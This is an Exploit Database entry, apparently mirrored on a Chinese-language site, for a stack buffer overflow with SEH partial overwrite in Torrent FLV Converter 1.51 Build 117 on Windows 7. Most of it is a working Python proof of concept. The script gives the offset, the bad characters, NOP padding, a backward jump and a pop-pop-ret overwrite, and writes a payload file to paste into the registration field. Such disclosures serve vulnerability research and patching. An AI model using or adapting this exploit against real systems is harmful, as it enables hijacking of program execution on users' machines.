Torrent FLV Converter 1.51 Build 117 – Stack Oveflow (SEH partial overwrite)

• Exploit Database
• 113 阅读

• 作者： antonio
  日期： 2020-01-17
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/47938/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32

  # Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite) # Date: 2020-01-16 # Exploit Author: antonio # Vendor Homepage: http://www.torrentrockyou.com/ # Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe # Version: 1.51 Build 117 # Tested on: Windows 7 SP1 32-bit   # Copy paste the contents of poc.txt into the # Registration Code input field.   #!/usr/bin/python   nseh_offset = 4500 total = 5000   # badchars # -------- # 0x00, 0x0a, 0x0d, 0x80 # 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a # 0x61-0x6f, 0x9a, 0x9c, 0x9e   poc = "" poc += "A"*(nseh_offset - 53) poc += "\x90"*53 poc += "\x7d\xcb\x90\x90" # jump backwards to NOPs: jge via SF = OF poc += "\x7f\xb3\x45" # nseh pop pop ret: 3-byte partial overwrite   file = open("poc_seh.txt","w") file.write(poc) file.close()